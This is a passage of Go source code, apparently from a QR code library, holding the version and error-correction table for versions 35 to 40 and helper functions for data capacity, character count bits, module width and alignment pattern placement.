&versionInfo{35, M, 28, 12, 47, 26, 48},
&versionInfo{35, Q, 30, 39, 24, 14, 25},
&versionInfo{35, H, 30, 22, 15, 41, 16},
&versionInfo{36, L, 30, 6, 121, 14, 122},
&versionInfo{36, M, 28, 6, 47, 34, 48},
&versionInfo{36, Q, 30, 46, 24, 10, 25},
&versionInfo{36, H, 30, 2, 15, 64, 16},
&versionInfo{37, L, 30, 17, 122, 4, 123},
&versionInfo{37, M, 28, 29, 46, 14, 47},
&versionInfo{37, Q, 30, 49, 24, 10, 25},
&versionInfo{37, H, 30, 24, 15, 46, 16},
&versionInfo{38, L, 30, 4, 122, 18, 123},
&versionInfo{38, M, 28, 13, 46, 32, 47},
&versionInfo{38, Q, 30, 48, 24, 14, 25},
&versionInfo{38, H, 30, 42, 15, 32, 16},
&versionInfo{39, L, 30, 20, 117, 4, 118},
&versionInfo{39, M, 28, 40, 47, 7, 48},
&versionInfo{39, Q, 30, 43, 24, 22, 25},
&versionInfo{39, H, 30, 10, 15, 67, 16},
&versionInfo{40, L, 30, 19, 118, 6, 119},
&versionInfo{40, M, 28, 18, 47, 31, 48},
&versionInfo{40, Q, 30, 34, 24, 34, 25},
&versionInfo{40, H, 30, 20, 15, 61, 16},
}
func (vi *versionInfo) totalDataBytes() int {
g1Data := int(vi.NumberOfBlocksInGroup1) * int(vi.DataCodeWordsPerBlockInGroup1)
g2Data := int(vi.NumberOfBlocksInGroup2) * int(vi.DataCodeWordsPerBlockInGroup2)
return (g1Data + g2Data)
}
func (vi *versionInfo) charCountBits(m encodingMode) byte {
switch m {
case numericMode:
if vi.Version < 10 {
return 10
} else if vi.Version < 27 {
return 12
}
return 14
case alphaNumericMode:
if vi.Version < 10 {
return 9
} else if vi.Version < 27 {
return 11
}
return 13
case byteMode:
if vi.Version < 10 {
return 8
}
return 16
case kanjiMode:
if vi.Version < 10 {
return 8
} else if vi.Version < 27 {
return 10
}
return 12
default:
return 0
}
}
func (vi *versionInfo) modulWidth() int {
return ((int(vi.Version) - 1) * 4) + 21
}
func (vi *versionInfo) alignmentPatternPlacements() []int {
if vi.Version == 1 {
return make([]int, 0)
}
first := 6
last := vi.modulWidth() - 7
space := float64(last - first)
count := int(math.Ceil(space/28)) + 1
result := make([]int, count)
result[0] = first
result[len(result)-1] = last
if count > 2 {
step := int(math.Ceil(float64(last-first) / float64(count-1)))
if step%2 == 1 {
frac := float64(last-first) / float64(count-1)
_, x := math.Modf(frac)
if x >= 0.5 {
frac = math.Ceil(frac)
} else {
frac = math.Floor(frac)
}
if int(frac)%2 == 0 {
step--
} else {
step++
}
}
for i := 1; i <= count-2; i++ {
result[i] = last - (step * (count - 1 - i))
}
}
return result
}
func findSmallestVersionInfo(ecl ErrorCorrectionLevel, mode encodingMode, dataBits int) *versionInfo {
dataBits = dataBits + 4 // mode indicator
for _, vi := range versionInfos {
if vi.Level == ecl {
if (vi.totalDataBytes() * 8) >= (dataBits + int(vi.charCountBits(mode))) {
return vi
}
}
}
return nil
}
Loaded 100 of 234 files, more files were not shown because too many files have changed in this diff. Show more